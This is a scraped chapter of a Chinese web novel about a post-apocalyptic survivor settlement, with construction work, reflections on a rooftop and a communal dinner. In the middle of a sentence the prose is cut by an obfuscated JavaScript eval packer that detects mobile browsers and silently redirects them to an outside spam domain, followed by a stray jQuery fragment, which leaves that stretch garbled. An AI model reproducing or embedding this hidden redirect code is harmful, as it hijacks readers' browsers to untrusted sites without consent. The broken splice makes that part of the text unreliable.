文趣网 > 都市小说 > 末世重生:变形异能的反转逆袭 > 40. 当一切都在变好的时候
    末世第八十天,平安堡迎来了一个难得的平静期。不是“没有事”的那种平静——事还是有,每天都有。深蓝会的小头目来体验“飞翔”,铁血团的中层来体验“一拳打碎一座山”,冰霜堡的慕容晴又来了一次,这次想体验“春天的雨”。苏锦年的人又来了,这次不是“送信”,是“送茶叶”。一盒龙井,明前茶,包装精美,末世前能卖好几千块一盒。楚楚看着那盒茶叶,猫爪按了按。她打开盒子,闻了闻。茶叶是新的,翠绿色,扁平光滑,散发着淡淡的豆香。她把盒子盖上,放在桌上。“他什么意思?”宋瑶问。“他想喝茶。”楚楚的猫爪又按了一下。“不急。让他等。”

    深蓝会忙着整顿内部。韩晟把刘闯关了禁闭,不是“关”的那种关,是“关小黑屋、不给饭吃、让他反省”的那种关。刘闯在里面关了三天,出来的时候瘦了一圈,眼睛下面有很深的黑眼圈,嘴唇干裂。他被降职了,从小头目降成了普通成员,他的装备被没收了,他的人手被调走了,他的仓库被锁了。韩晟在会上说“谁再擅自行动,就是这个下场”。没有人敢说话。

    铁血团忙着消化新吞并的地盘。铁手的右肩还没好,但他已经闲不住了。他每天带着副手去新地盘巡视,从城西钢铁厂到城西加油站,从城西加油站到城西废品站,从城西废品站到城西——不能再往西了,往西是城外。城外丧尸太多,铁手不想去。他在新地盘上设了岗哨、建了仓库、修了路。他的手下说“老大,你伤还没好”,他说“不疼”。但他的右肩在渗血,绷带被染成了红色。

    冰霜堡在等慕容晴的“温暖体验”。慕容晴上次来平安堡,体验了夏天的风,回去之后心情好了很多。她的手下说“老大,你最近很少发火了”,她说“是吗”。她的手下说“你昨天还笑了一下”,她说“不可能”。她的手下说“你真的笑了”,她说“那是你在做梦”。她的手下不敢再说了,但她确实笑了。

    苏锦年的情报网在扩张,但暂时没有动作。他的图书馆里多了几个人,从哪来的,不知道。他的信使多了几条路线,从哪出发的,不知道。他的情报网覆盖了北城区的每一个角落,但没有人知道他在收集什么情报。楚楚只知道一件事——他在找她。不是“找”的那种找,是“等”的那种等。他等她去找他,她等他来找她。两个人,在棋盘的两端,谁也不先动。茶凉了,没有人喝。

    平安堡的人口已经突破了一百二十人。不是“突破”的那种突破——一百一十九到一百二十,一个人。那个人是一个中年男人,末世前是木匠,会做家具、会修门窗、会刻花。他在废墟里找到了几块好木头,问楚楚能不能做一张桌子。楚楚说“你随便做”。他做了一张桌子,圆形的,桌面打磨得很光滑,边缘刻了一圈花纹,像一朵朵小小的、不会凋谢的花。他把桌子放在食堂里,赵德厚看了好久,然后说“这是一张好桌子”。他的眼眶红了,不是因为感动,是因为他想起了末世前家里的那张圆桌。

    实验楼的房间不够住了。不是“不够”的那种不够,是“住不下了”的那种不够。一百二十个人,实验楼只有二十几个房间,每个房间住五六个人,上下铺,挤得像沙丁鱼罐头。楚楚决定扩建——把旁边的教学楼也纳入平安堡的范围,用天桥连接两栋楼。不是“搭”的那种搭,是“建”的那种建。天桥需要承重,需要稳固,不能一踩就塌,不能一推就倒。赵德厚带着十几个建筑工人热火朝天地干着,刘建国负责砌墙,沈鹤负责金属结构,连老赵头都拄着拐杖在工地上转悠,指点江山。

    老赵头站在一堵刚砌好的砖墙前面。墙是刘建国砌的,砖是红色的,水泥是灰色的,砖缝整齐,看起来很不错。老赵头用拐杖戳了戳那堵墙,摇了摇头。“这墙砌得不行,砂浆比例不对,一推就倒。”他的拐杖在墙面上点了一下,指甲盖大小的一块水泥从砖缝里掉了下来。刘建国的脸红了。他不是“生气”的红,是“被说中了”的红。

    “那您说怎么砌?”年轻的工人虚心请教。他叫小李,二十出头,末世前在工地上搬过一年砖,砌墙的手艺是跟刘建国学的,刘建国的手艺是跟老赵头学的——但老赵头不知道,因为他很久没有砌墙了。

    老赵头放下拐杖,蹲下来。他的膝盖不好,蹲下去的时候发出“咔嗒”一声,像一个人在掰手指。他拿起一块砖,在手里掂了掂。“砖是好的,水泥是好的,沙子也是好的。但比例不对。一铲水泥,三铲沙子,水要少,多了不粘,少了不牢。”他把砖放在墙面上,用手掌压了压,然后用瓦刀刮了刮砖缝里的水泥,刮掉一层,又补上一层。他拿起瓦刀,在砖面上敲了敲,声音清脆,像一个人在弹琴。“这叫‘敲砖’,听声音就知道砖有没有放平。声音脆,是平的。声音闷,是不平的。”他又敲了一下,声音脆得像冰块碎裂。小李眼睛亮了。“您再敲一下。”老赵头又敲了一下,小李的眼睛更亮了。

    楚楚在天台上看着这一幕,猫爪按了按。“老赵头真是个宝。”宋瑶在旁边记笔记。她的笔记本翻开着,铅笔在纸面上沙沙地响。“他已经帮我们训练了二十个民兵,都是普通人,但战斗力不输异能者。”

    楚楚的猫爪又按了一下。不是“惊讶”的按,是“果然如此”的按。“普通人也能在末世里活下去。”

    “对。只要有正确的训练和正确的武器。”宋瑶的笔尖在纸面上停了一下。“老赵头说,‘异能者是刀,普通人是刀鞘。刀能杀人,刀鞘能护刀。没有刀鞘,刀会锈。’”楚楚看着宋瑶,沉默了一秒。她想起前世,宋瑶也是一个普通人,没有异能,没有刀,没有刀鞘。她在末世里活了三年,活得比很多异能者都久,但她活得很苦。她不敢睡,不敢吃,不敢相信任何人。她的眼睛没有光,像一盏快灭的灯。

    楚楚蹲下来,猫爪按了按宋瑶的手背。“瑶瑶,你是刀鞘。”宋瑶看着她,没有说话,但她的嘴角弯了一下。

    楚楚站起来,走到天台边缘。她看着脚下的平安堡——实验楼、教学楼、天桥、围墙、食堂、诊所、机房、仓库、宿舍。灯火一盏一盏地亮起来。手电筒的白光,应急灯的暖黄,余舟异能荧光的淡蓝。几十盏灯,在黑暗中亮着。她看着那些灯,猫爪在栏杆上按了一下。不是“紧张”的按,是“我在看”的按。

    【你在想什么?】猫爪写道。

    楚楚看着远处的天空。灰蓝色的,云层低垂,像要下雨。但雨没有下,空气闷闷的,像一个在憋气的人。

    “在想……也许有一天,末世会结束。”

    【也许吧。】

    “你不信?”

    【我信。因为你在努力。】

    楚楚弯了弯嘴角。远处,顾衍从楼梯走上来,手里拿着一杯水。他的脚步很轻,但楚楚听到了,因为她的猫爪感知到了地面的振动。她转过身,看着顾衍。顾衍走到她面前,把水递给她。“又在发愁?”

    “没有。在想事情。”楚楚接过水,喝了一口。水温刚好,不烫不凉。

    “想什么?”

    楚楚看着手里的水杯。杯壁上有一道细小的裂纹,是从赵德厚那里拿来的,用了很多次了。她把水杯放在栏杆上,看着远处的天空。“想以后。”

    “以后怎么了?”顾衍在她旁边坐下。

    楚楚在他旁边坐下,猫爪搭在膝盖上。她看着远处的天空,看着那些低垂的云层,看着那些在云层缝隙里露出的星星。“以后可能会很麻烦。”

    顾衍握住她的猫爪。他的手指很长,骨节分明,掌心有茧,不是刀磨出来的,是练刀练出来的。他把猫爪包在自己的掌心里,拇指在肉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621485|206187||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    垫上轻轻摩挲。“麻烦就麻烦。一起扛。”

    猫爪按了一下。不是“紧张”的按,是“我知道”的按。肉垫软软的、暖暖的,像一个小小的、在说“我在”的心脏。

    “好。”楚楚的声音很轻,但很清楚。

    远处,天空灰蒙蒙的,云层低垂。暴风雨要来了。但至少现在,在这个天台上,在这杯温水旁边,在这只猫爪的肉垫里,是暖的。

    楚楚靠在顾衍肩上,闭上了眼睛。她听到赵德厚在食堂里喊“开饭了开饭了”,听到林笙在走廊里跑,听到陆沉在翻书,听到余舟在敲键盘,听到小石头在叼棒棒糖,听到阿七在窗台上呼吸,听到老吴在推眼镜,听到宋瑶在写笔记,听到刘建国在砌墙,听到沈鹤在焊铁,听到老赵头在敲砖,听到小李在学敲砖。听到一百二十个人的心跳声、脚步声、说话声、笑声、哭声。这些声音汇成一条温暖的河流,从她的耳朵流进她的心里。

    暴风雨要来了。但平安堡的灯还亮着。几十盏灯,在黑暗中亮着。

    楚楚睁开眼睛,从顾衍肩上抬起头。顾衍看着她,琥珀色的眼睛里映着她的脸。“饿了?”他问。

    “饿了。”楚楚站起来,拍了拍裤子上的灰。顾衍站起来,跟在她身后。他们走下天台,走过走廊,走进食堂。赵德厚在灶台前炒菜,锅铲翻飞,葱花和鸡蛋的香味弥漫在整个食堂。林笙坐在餐桌前,手里拿着碗,筷子在碗沿上敲着,喊着“赵叔好了没”。陆沉坐在她对面,手里拿着一本书,书是电磁学,翻到了“麦克斯韦方程组”那一章。他没有在看,他在等饭。余舟坐在角落,电脑放在桌上,屏幕上是小石头刚发给他的深蓝会通讯记录。他的眼睛盯着屏幕,手指在键盘上敲着,但他的鼻翼在翕动——他在闻鸡蛋的香味。周晚晚从诊所跑过来,白大褂还没脱,兜里还别着碘伏棉签。她跑到食堂门口,喘着气,喊了一声“赵叔给我留一份”。王秀兰跟在她后面,手里拿着一个饭盒,喊着“两份,帮张妈带”。宋瑶从楼梯上走下来,笔记本夹在腋下,铅笔别在耳朵上。老吴从机房走过来,手里拿着一份图表,图表上是北城区势力的关系图。小石头从机房跑过来,手里拿着棒棒糖,草莓味的,粉色的。阿七从窗台上跳下来,动作很轻,没有声音。

    楚楚在餐桌前坐下,猫爪在桌下按了按。赵德厚端着一大盆鸡蛋炒西红柿从厨房走出来,盆是搪瓷的,白色的,边沿磕掉了好几块瓷。他把盆放在餐桌中央,盆底磕在桌上,发出“咚”的一声。鸡蛋炒西红柿的颜色很好看,鸡蛋是金黄色的,西红柿是红色的,葱花是绿色的,油亮亮的,冒着热气。

    林笙第一个伸筷子。筷子在盆里夹了一大块鸡蛋,塞进嘴里,含糊不清地说“好吃”。陆沉夹了一筷子西红柿,放在碗里,没有立刻吃,先看了看,像是在确认它的颜色是否符合物理定律。周晚晚夹了一筷子鸡蛋,放在王秀兰的饭盒里,又夹了一筷子,放在自己的碗里。余舟从电脑上抬起眼睛,看了一眼盆里的鸡蛋炒西红柿,又看了一眼电脑屏幕,又看了一眼盆,然后拿起筷子。小石头用筷子夹了一块鸡蛋,叼在嘴里,手指还在键盘上敲。阿七夹了一筷子鸡蛋,放在碗里,没有吃,先看了一会儿,然后吃了。老吴夹了一筷子西红柿,放在碗里,推了推眼镜,然后吃了。

    楚楚夹了一块鸡蛋,放进嘴里。鸡蛋嫩滑,西红柿酸甜,葱花清香。猫爪在桌下按了一下,像是在说“好吃”。

    窗外,天全黑了。暴风雨还没有来,但快了。云层很低,空气很闷,没有一点风。但食堂里,灯是亮着的,饭菜是热着的,人是坐着的。有人在笑,有人在说话,有人在抢最后一块鸡蛋。楚楚又夹了一块鸡蛋,放进嘴里。猫爪又按了一下。

    明天,暴风雨会来。但今晚,今晚有鸡蛋炒西红柿。